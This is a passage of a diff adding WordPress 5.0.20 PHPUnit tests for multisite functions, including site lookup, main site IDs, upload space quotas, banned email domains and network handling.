+		$this->assertFalse( $site );
+	}
+
+	/**
+	 * @dataProvider data_get_all
+	 *
+	 * @ticket 40228
+	 */
+	public function test_get_blog_details_get_object_vars( $get_all ) {
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/' ), $get_all );
+
+		$result = array_keys( get_object_vars( $site ) );
+
+		$this->assertEqualSets( $this->get_fields( $get_all ), $result );
+	}
+
+	/**
+	 * @dataProvider data_get_all
+	 *
+	 * @ticket 40228
+	 */
+	public function test_get_blog_details_iterate_over_result( $get_all ) {
+		$site = get_blog_details( array( 'domain' => 'wordpress.org', 'path' => '/' ), $get_all );
+
+		$result = array();
+		foreach ( $site as $key => $value ) {
+			$result[] = $key;
+		}
+
+		$this->assertEqualSets( $this->get_fields( $get_all ), $result );
+	}
+
+	public function data_get_all() {
+		return array(
+			array( false ),
+			array( true ),
+		);
+	}
+
+	protected function get_fields( $all = false ) {
+		$fields = array(
+			'blog_id',
+			'domain',
+			'path',
+			'site_id',
+			'registered',
+			'last_updated',
+			'public',
+			'archived',
+			'mature',
+			'spam',
+			'deleted',
+			'lang_id',
+		);
+
+		if ( $all ) {
+			$fields = array_merge( $fields, array(
+				'blogname',
+				'siteurl',
+				'post_count',
+				'home',
+			) );
+		}
+
+		return $fields;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getIdFromBlogname.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getIdFromBlogname.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getIdFromBlogname.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+
+if ( is_multisite() ) :
+/**
+ * Test get_id_from_blogname() in multisite.
+ *
+ * @group blogname
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Get_Id_From_Blogname extends WP_UnitTestCase {
+	protected static $network_ids;
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'wordpress.org/'         => array( 'domain' => 'wordpress.org',     'path' => '/' ),
+			'www.wordpress.net/'     => array( 'domain' => 'www.wordpress.net', 'path' => '/' ),
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+
+		self::$site_ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',     'path' => '/',     'site_id' => self::$network_ids['wordpress.org/'] ),
+			'foo.wordpress.org/'          => array( 'domain' => 'foo.wordpress.org', 'path' => '/',     'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',     'path' => '/foo/', 'site_id' => self::$network_ids['wordpress.org/'] ),
+			'www.wordpress.net/'          => array( 'domain' => 'www.wordpress.net', 'path' => '/',     'site_id' => self::$network_ids['www.wordpress.net/'] ),
+			'foo.wordpress.net/'          => array( 'domain' => 'foo.wordpress.net', 'path' => '/',     'site_id' => self::$network_ids['www.wordpress.net/'] ),
+			'www.wordpress.net/foo/'      => array( 'domain' => 'www.wordpress.net', 'path' => '/foo/', 'site_id' => self::$network_ids['www.wordpress.net/'] ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		global $wpdb;
+
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	/**
+	 * @ticket 34450
+	 */
+	public function test_get_id_from_blogname_no_www() {
+		global $current_site;
+
+		$original_network = $current_site;
+		$current_site = get_network( self::$network_ids['wordpress.org/'] );
+
+		if ( is_subdomain_install() ) {
+			$expected = self::$site_ids['foo.wordpress.org/'];
+		} else {
+			$expected = self::$site_ids['wordpress.org/foo/'];
+		}
+
+		$result = get_id_from_blogname( 'foo' );
+		$current_site = $original_network;
+
+		$this->assertEquals( $expected, $result );
+	}
+
+	/**
+	 * @ticket 34450
+	 */
+	public function test_get_id_from_blogname_www() {
+		global $current_site;
+
+		$original_network = $current_site;
+		$current_site = get_network( self::$network_ids['www.wordpress.net/'] );
+
+		if ( is_subdomain_install() ) {
+			$expected = self::$site_ids['foo.wordpress.net/'];
+		} else {
+			$expected = self::$site_ids['www.wordpress.net/foo/'];
+		}
+
+		$result = get_id_from_blogname( 'foo' );
+		$current_site = $original_network;
+
+		$this->assertEquals( $expected, $result );
+	}
+
+	public function test_get_id_from_blogname_invalid_slug() {
+		global $current_site;
+
+		$original_network = $current_site;
+		$current_site = get_network( self::$network_ids['wordpress.org/'] );
+
+		$result = get_id_from_blogname( 'bar' );
+		$current_site = $original_network;
+
+		$this->assertEquals( null, $result );
+	}
+
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getMainSiteId.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getMainSiteId.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getMainSiteId.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests for the get_main_site_id() function.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Get_Main_Site_ID extends WP_UnitTestCase {
+	protected static $network_ids;
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$network_ids = array(
+			'wordpress.org/' => array( 'domain' => 'wordpress.org', 'path' => '/' ),
+			'wp.org/'        => array( 'domain' => 'wp.org',        'path' => '/' ), // A network with no sites.
+		);
+
+		foreach ( self::$network_ids as &$id ) {
+			$id = $factory->network->create( $id );
+		}
+		unset( $id );
+
+		self::$site_ids = array(
+			'www.w.org/'                   => array( 'domain' => 'www.w.org',     'path' => '/' ),
+			'wordpress.org/'               => array( 'domain' => 'wordpress.org', 'path' => '/',     'site_id' => self::$network_ids['wordpress.org/'] ),
+			'wordpress.org/foo/'           => array( 'domain' => 'wordpress.org', 'path' => '/foo/', 'site_id' => self::$network_ids['wordpress.org/'] ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		global $wpdb;
+
+		foreach( self::$network_ids as $id ) {
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->sitemeta} WHERE site_id = %d", $id ) );
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->site} WHERE id= %d", $id ) );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_on_main_site_returns_self() {
+		$this->assertSame( get_current_blog_id(), get_main_site_id() );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_returns_main_site_in_switched_context() {
+		$main_site_id = get_current_blog_id();
+		$other_site_id = self::$site_ids['www.w.org/'];
+
+		switch_to_blog( $other_site_id );
+		$result = get_main_site_id();
+		restore_current_blog();
+
+		$this->assertSame( $main_site_id, $result );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_with_different_network_returns_correct_id() {
+		$this->assertSame( self::$site_ids['wordpress.org/'], get_main_site_id( self::$network_ids['wordpress.org/'] ) );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_on_network_without_site_returns_0() {
+		$this->assertSame( 0, get_main_site_id( self::$network_ids['wp.org/'] ) );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_on_invalid_network_returns_0() {
+		$this->assertSame( 0, get_main_site_id( 333 ) );
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_filtered() {
+		add_filter( 'pre_get_main_site_id', array( $this, 'filter_get_main_site_id' ) );
+		$result = get_main_site_id();
+
+		$this->assertSame( 333, $result );
+	}
+
+	public function filter_get_main_site_id() {
+		return 333;
+	}
+
+	/**
+	 * @ticket 29684
+	 */
+	public function test_get_main_site_id_filtered_depending_on_network() {
+		add_filter( 'pre_get_main_site_id', array( $this, 'filter_get_main_site_id_depending_on_network' ), 10, 2 );
+		$result = get_main_site_id( self::$network_ids['wordpress.org/'] );
+
+		$this->assertSame( 333, $result );
+	}
+
+	public function filter_get_main_site_id_depending_on_network( $main_site_id, $network ) {
+		// Override main site ID for a specific network for the test.
+		if ( $network->id === (int) self::$network_ids['wordpress.org/'] ) {
+			return 333;
+		}
+
+		return $main_site_id;
+	}
+
+	/**
+	 * @ticket 41936
+	 */
+	public function test_get_main_site_id_with_property_value() {
+		global $current_site;
+
+		$original_main_site_id = $current_site->blog_id;
+		$current_site->blog_id = '123';
+
+		$result = get_main_site_id();
+
+		$current_site->blog_id = $original_main_site_id;
+
+		$this->assertSame( 123, $result );
+	}
+
+	/**
+	 * @ticket 41936
+	 */
+	public function test_get_main_site_id_filtered_with_property_value() {
+		global $current_site;
+
+		$original_main_site_id = $current_site->blog_id;
+		$current_site->blog_id = '123';
+
+		add_filter( 'pre_get_main_site_id', array( $this, 'filter_get_main_site_id' ) );
+		$result = get_main_site_id();
+
+		$current_site->blog_id = $original_main_site_id;
+
+		$this->assertSame( 333, $result );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getSite.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getSite.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getSite.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+
+if ( is_multisite() ) :
+/**
+ * Test get_site() wrapper of WP_Site in multisite.
+ *
+ * @group ms-site
+ * @group multisite
+ */
+class Tests_Multisite_Get_Site extends WP_UnitTestCase {
+	protected static $site_ids;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$site_ids = array(
+			'wordpress.org/'              => array( 'domain' => 'wordpress.org',      'path' => '/' ),
+			'wordpress.org/foo/'          => array( 'domain' => 'wordpress.org',      'path' => '/foo/' ),
+			'wordpress.org/foo/bar/'      => array( 'domain' => 'wordpress.org',      'path' => '/foo/bar/' ),
+		);
+
+		foreach ( self::$site_ids as &$id ) {
+			$id = $factory->blog->create( $id );
+		}
+		unset( $id );
+	}
+
+	public static function wpTearDownAfterClass() {
+		foreach( self::$site_ids as $id ) {
+			wpmu_delete_blog( $id, true );
+		}
+
+		wp_update_network_site_counts();
+	}
+
+	public function test_get_site_in_switched_state_returns_switched_site() {
+		switch_to_blog( self::$site_ids[ 'wordpress.org/foo/' ] );
+		$site = get_site();
+		restore_current_blog();
+
+		$this->assertEquals( self::$site_ids[ 'wordpress.org/foo/'], $site->id );
+	}
+
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceAllowed.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceAllowed.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceAllowed.php	(revision 56912)
@@ -0,0 +1,119 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to `get_space_allowed()` in multisite.
+ *
+ * @group multisite
+ */
+class Tests_Multisite_Get_Space_Allowed extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	protected static $original_site_blog_upload_space;
+	protected static $original_blog_upload_space;
+
+	public static function setUpBeforeClass() {
+		parent::setUpBeforeClass();
+
+		self::$original_site_blog_upload_space = get_site_option( 'blog_upload_space' );
+		self::$original_blog_upload_space = get_option( 'blog_upload_space' );
+	}
+
+	public function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	public function tearDown() {
+		global $wpdb;
+
+		/**
+		 * Reset the two `blog_upload_space` options to their original values so
+		 * they can be relied on in other test classes.
+		 */
+		update_site_option( 'blog_upload_space', self::$original_site_blog_upload_space );
+		update_option( 'blog_upload_space', self::$original_blog_upload_space );
+
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	/**
+	 * When no option exists for the site or the network, a fallback of
+	 * 100 is expected.
+	 */
+	public function test_get_space_allowed_default() {
+		delete_option( 'blog_upload_space' );
+		delete_site_option( 'blog_upload_space' );
+
+		$this->assertEquals( 100, get_space_allowed() );
+	}
+
+	/**
+	 * If an individual site's option is not available, the default network
+	 * level option is used as a fallback.
+	 */
+	public function test_get_space_allowed_no_site_option_fallback_to_network_option() {
+		delete_site_option( 'blog_upload_space' );
+		update_site_option( 'blog_upload_space', 200 );
+
+		$this->assertEquals( 200, get_space_allowed() );
+	}
+
+	/**
+	 * @dataProvider data_blog_upload_space
+	 *
+	 * @param mixed $site_option    Option to assign to the site's `blog_upload_space`.
+	 * @param mixed $network_option Option to assign to the network's `blog_upload_space`.
+	 * @param int   $expected       Expected return value.
+	 */
+	public function test_get_space_allowed( $site_option, $network_option, $expected ) {
+		update_option( 'blog_upload_space', $site_option );
+		update_site_option( 'blog_upload_space', $network_option );
+
+		$this->assertEquals( $expected, get_space_allowed() );
+	}
+
+	public function data_blog_upload_space() {
+		return array(
+			// A valid site option will be preferred over a network option.
+			array( 111,   200,   111 ),
+			array( -1,    200,   -1  ),
+			array( 222,   0,     222 ),
+
+			// Non-numeric site options should result in a fallback to the network option.
+			array( '',    333,   333 ),
+			array( false, 444,   444 ),
+			array( 'NAN', 555,   555 ),
+			array( false, -10,   -10 ),
+
+			// If neither network or site options are valid, fallback to the default.
+			array( false, false, 100 ),
+			array( 'NAN', 'NAN', 100 ),
+
+			// These effectively disable uploads.
+			array( 0,     666,   0 ),
+			array( false, 0,     0 ),
+			array( 'NAN', 0,     0 ),
+		);
+	}
+
+	public function test_get_space_allowed_filtered() {
+		update_option( 'blog_upload_space', 777 );
+		update_site_option( 'blog_upload_space', 888 );
+
+		add_filter( 'get_space_allowed', array( $this, '_filter_space_allowed' ) );
+		$space_allowed = get_space_allowed();
+		remove_filter( 'get_space_allowed', array( $this, '_filter_space_allowed' ) );
+
+		$this->assertEquals( 999, $space_allowed );
+	}
+
+	public function _filter_space_allowed() {
+		return 999;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceUsed.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceUsed.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/getSpaceUsed.php	(revision 56912)
@@ -0,0 +1,104 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group multisite
+ * @covers ::get_space_used
+ */
+class Tests_Multisite_Get_Space_Used extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	function test_get_space_used_switched_site() {
+		$blog_id = self::factory()->blog->create();
+		switch_to_blog( $blog_id );
+
+		// Our comparison of space relies on an initial value of 0. If a previous test has failed or if the
+		// src directory already contains a content directory with site content, then the initial expectation
+		// will be polluted. We create sites until an empty one is available.
+		while ( 0 != get_space_used() ) {
+			restore_current_blog();
+			$blog_id = self::factory()->blog->create();
+			switch_to_blog( $blog_id );
+		}
+
+		// Upload a file to the new site.
+		$filename = __FUNCTION__ . '.jpg';
+		$contents = __FUNCTION__ . '_contents';
+		$file = wp_upload_bits( $filename, null, $contents );
+
+		// get_space_used() is measures in MB, get the size of the new file in MB.
+		$size = filesize( $file['file'] ) / 1024 / 1024;
+
+		delete_transient( 'dirsize_cache' );
+
+		$this->assertEquals( $size, get_space_used() );
+		$upload_dir = wp_upload_dir();
+		$this->remove_added_uploads();
+		$this->delete_folders( $upload_dir['basedir'] );
+		restore_current_blog();
+	}
+
+	/**
+	 * Directories of sub sites on a network should not count against the same spaced used total for
+	 * the main site.
+	 */
+	function test_get_space_used_main_site() {
+		$space_used = get_space_used();
+
+		$blog_id = self::factory()->blog->create();
+		switch_to_blog( $blog_id );
+
+		// We don't rely on an initial value of 0 for space used, but should have a clean space available
+		// so that we can remove any uploaded files and directories without concern of a conflict with
+		// existing content directories in src.
+		while ( 0 != get_space_used() ) {
+			restore_current_blog();
+			$blog_id = self::factory()->blog->create();
+			switch_to_blog( $blog_id );
+		}
+
+		// Upload a file to the new site.
+		$filename = __FUNCTION__ . '.jpg';
+		$contents = __FUNCTION__ . '_contents';
+		wp_upload_bits( $filename, null, $contents );
+
+		restore_current_blog();
+
+		delete_transient( 'dirsize_cache' );
+
+		$this->assertEquals( $space_used, get_space_used() );
+
+		// Switch back to the new site to remove the uploaded file.
+		switch_to_blog( $blog_id );
+		$upload_dir = wp_upload_dir();
+		$this->remove_added_uploads();
+		$this->delete_folders( $upload_dir['basedir'] );
+		restore_current_blog();
+	}
+
+	function test_get_space_used_pre_get_spaced_used_filter() {
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+
+		$this->assertEquals( 300, get_space_used() );
+
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used' ) );
+	}
+
+	function _filter_space_used() {
+		return 300;
+	}
+}
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/isEmailAddressUnsafe.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/isEmailAddressUnsafe.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/isEmailAddressUnsafe.php	(revision 56912)
@@ -0,0 +1,141 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group multisite
+ */
+class Tests_Multisite_IsEmailAddressUnsafe extends WP_UnitTestCase {
+	public function test_string_domain_list_should_be_split_on_line_breaks() {
+		update_site_option( 'banned_email_domains', "foo.com\nbar.org\nbaz.gov" );
+		$this->assertTrue( is_email_address_unsafe( 'foo@bar.org' ) );
+		$this->assertFalse( is_email_address_unsafe( 'foo@example.org' ) );
+	}
+
+	/**
+	 * @dataProvider data_unsafe
+	 * @ticket 25046
+	 * @ticket 21570
+	 */
+	public function test_unsafe_emails( $banned, $email ) {
+		update_site_option( 'banned_email_domains', $banned );
+		$this->assertTrue( is_email_address_unsafe( $email ) );
+	}
+
+	/**
+	 * @dataProvider data_safe
+	 * @ticket 25046
+	 * @ticket 21570
+	 */
+	public function test_safe_emails( $banned, $email ) {
+		update_site_option( 'banned_email_domains', $banned );
+		$this->assertFalse( is_email_address_unsafe( $email ) );
+	}
+
+	public function data_unsafe() {
+		return array(
+			// 25046
+			'case_insensitive_1' => array(
+				array( 'baR.com' ),
+				'test@Bar.com',
+			),
+			'case_insensitive_2' => array(
+				array( 'baR.com' ),
+				'tEst@bar.com',
+			),
+			'case_insensitive_3' => array(
+				array( 'barfoo.COM' ),
+				'test@barFoo.com',
+			),
+			'case_insensitive_4' => array(
+				array( 'baR.com' ),
+				'tEst@foo.bar.com',
+			),
+			'case_insensitive_5' => array(
+				array( 'BAZ.com' ),
+				'test@baz.Com',
+			),
+
+
+			// 21570
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@bar.com',
+			),
+			'subdomain_1' => array(
+				array( 'bar.com', 'foo.co' ),
+				'test@foo.bar.com',
+			),
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@foo.co',
+			),
+			'subdomain_2' => array(
+				array( 'bar.com', 'foo.co' ),
+				'test@subdomain.foo.co',
+			),
+		);
+	}
+
+	public function data_safe() {
+		return array(
+			// 25046
+			array(
+				array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ),
+				'test@Foobar.com',
+			),
+			array(
+				array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ),
+				'test@Foo-bar.com',
+			),
+			array(
+				array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ),
+				'tEst@foobar.com',
+			),
+			array(
+				array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ),
+				'test@Subdomain.Foo.com',
+			),
+			array(
+				array( 'baR.com', 'Foo.co', 'barfoo.COM', 'BAZ.com' ),
+				'test@feeBAz.com',
+			),
+
+			// 21570
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@foobar.com',
+			),
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@foo-bar.com',
+			),
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@foo.com',
+			),
+			array(
+				array( 'bar.com', 'foo.co' ),
+				'test@subdomain.foo.com',
+			),
+		);
+	}
+
+	public function test_email_with_only_top_level_domain_returns_safe() {
+		update_site_option( 'banned_email_domains', 'bar.com' );
+		$safe = is_email_address_unsafe( 'email@localhost' );
+		delete_site_option( 'banned_email_domains' );
+
+		$this->assertFalse( $safe );
+	}
+
+	public function test_invalid_email_without_domain_returns_safe() {
+		update_site_option( 'banned_email_domains', 'bar.com' );
+		$safe = is_email_address_unsafe( 'invalid-email' );
+		delete_site_option( 'bar.com' );
+
+		$this->assertFalse( $safe );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/isUploadSpaceAvailable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/isUploadSpaceAvailable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/isUploadSpaceAvailable.php	(revision 56912)
@@ -0,0 +1,127 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to `is_upload_space_available()` in multisite.
+ *
+ * These tests filter `pre_get_space_used` so that we can ignore the local
+ * environment. Tests for `get_space_used()` are handled elsewhere.
+ *
+ * @group multisite
+ */
+class Tests_Multisite_Is_Upload_Space_Available extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	protected static $original_site_blog_upload_space;
+	protected static $original_blog_upload_space;
+
+	public static function setUpBeforeClass() {
+		parent::setUpBeforeClass();
+
+		self::$original_site_blog_upload_space = get_site_option( 'blog_upload_space' );
+		self::$original_blog_upload_space = get_option( 'blog_upload_space' );
+	}
+
+	public function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		update_site_option( 'upload_space_check_disabled', false );
+	}
+
+	public function tearDown() {
+		global $wpdb;
+
+		/**
+		 * Reset the two `blog_upload_space` options to their original values so
+		 * they can be relied on in other test classes.
+		 */
+		update_site_option( 'blog_upload_space', self::$original_site_blog_upload_space );
+		update_option( 'blog_upload_space', self::$original_blog_upload_space );
+
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	/**
+	 * A default of 100MB is used when no `blog_upload_space` option
+	 * exists at the site or network level.
+	 */
+	public function test_is_upload_space_available_default() {
+		delete_option( 'blog_upload_space' );
+		delete_site_option( 'blog_upload_space' );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+
+		$this->assertTrue( $available );
+	}
+
+	public function test_is_upload_space_available_check_disabled() {
+		update_site_option( 'blog_upload_space', 10 );
+		update_site_option( 'upload_space_check_disabled', true );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_large' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_large' ) );
+
+		$this->assertTrue( $available );
+	}
+
+	public function test_is_upload_space_available_space_used_is_less_then_allowed() {
+		update_option( 'blog_upload_space', 350 );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+
+		$this->assertTrue( $available );
+	}
+
+	function test_is_upload_space_available_space_used_is_more_than_allowed() {
+		update_option( 'blog_upload_space', 350 );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_large' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_large' ) );
+
+		$this->assertFalse( $available );
+	}
+
+	/**
+	 * More comprehensive testing a 0 condition is handled in the tests
+	 * for `get_space_allowed()`. We cover one scenario here.
+	 */
+	function test_is_upload_space_available_upload_space_0_defaults_to_100() {
+		update_option( 'blog_upload_space', 0 );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+
+		$this->assertFalse( $available );
+	}
+
+	function test_is_upload_space_available_upload_space_negative() {
+		update_site_option( 'blog_upload_space', -1 );
+
+		add_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+		$available = is_upload_space_available();
+		remove_filter( 'pre_get_space_used', array( $this, '_filter_space_used_small' ) );
+
+		$this->assertFalse( $available );
+	}
+
+	function _filter_space_used_large() {
+		return 10000000;
+	}
+
+	function _filter_space_used_small() {
+		return 10;
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/ms-files-rewriting.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/ms-files-rewriting.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/ms-files-rewriting.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to the ms_files_rewriting option in multisite.
+ *
+ * The ms-files group tag must be used for these tests to run as the constants
+ * set in ms_upload_constants() conflict with a non ms-files configuration.
+ *
+ * @group ms-files
+ * @group multisite
+ */
+class Tests_Multisite_MS_Files_Rewriting extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+
+		update_site_option( 'ms_files_rewriting', 1 );
+		ms_upload_constants();
+	}
+
+	function tearDown() {
+		global $wpdb;
+
+		update_site_option( 'ms_files_rewriting', 0 );
+		$wpdb->suppress_errors( $this->suppress );
+
+		parent::tearDown();
+	}
+
+	function test_switch_upload_dir() {
+		$this->assertTrue( is_main_site() );
+
+		$site = get_current_site();
+
+		$user_id = self::factory()->user->create( array( 'role' => 'administrator' ) );
+		$blog_id2 = self::factory()->blog->create( array( 'user_id' => $user_id ) );
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://' . $site->domain . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+
+		switch_to_blog( $blog_id2 );
+		$info2 = wp_upload_dir();
+		$this->assertNotEquals( $info, $info2 );
+		$this->assertEquals( get_option( 'siteurl' )  . '/wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/blogs.dir/' . get_current_blog_id() . '/files/' . gmstrftime('%Y/%m'), $info2['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info2['subdir'] );
+		$this->assertEquals( '', $info2['error'] );
+		restore_current_blog();
+	}
+
+	/**
+	 * When a site is deleted with wpmu_delete_blog(), only the files associated with
+	 * that site should be removed. When wpmu_delete_blog() is run a second time, nothing
+	 * should change with upload directories.
+	 */
+	function test_upload_directories_after_multiple_wpmu_delete_blog_with_ms_files() {
+		$filename = __FUNCTION__ . '.jpg';
+		$contents = __FUNCTION__ . '_contents';
+
+		// Upload a file to the main site on the network.
+		$file1 = wp_upload_bits( $filename, null, $contents );
+
+		$blog_id = self::factory()->blog->create();
+
+		switch_to_blog( $blog_id );
+		$file2 = wp_upload_bits( $filename, null, $contents );
+		restore_current_blog();
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertFileExists( $file1['file'] );
+		$this->assertFileNotExists( $file2['file'] );
+
+		wpmu_delete_blog( $blog_id, true );
+
+		// The file on the main site should still exist. The file on the deleted site should not.
+		$this->assertFileExists( $file1['file'] );
+		$this->assertFileNotExists( $file2['file'] );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/multisite/network.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/multisite/network.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/multisite/network.php	(revision 56912)
@@ -0,0 +1,597 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to networks in multisite.
+ *
+ * @group ms-network
+ * @group multisite
+ */
+class Tests_Multisite_Network extends WP_UnitTestCase {
+	protected $plugin_hook_count = 0;
+	protected $suppress = false;
+
+	protected static $different_network_id;
+	protected static $different_site_ids = array();
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb, $current_site;
+		$wpdb->suppress_errors( $this->suppress );
+		$current_site->id = 1;
+		parent::tearDown();
+	}
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$different_network_id = $factory->network->create( array( 'domain' => 'wordpress.org', 'path' => '/' ) );
+
+		$sites = array(
+			array( 'domain' => 'wordpress.org', 'path' => '/',     'site_id' => self::$different_network_id ),
+			array( 'domain' => 'wordpress.org', 'path' => '/foo/', 'site_id' => self::$different_network_id ),
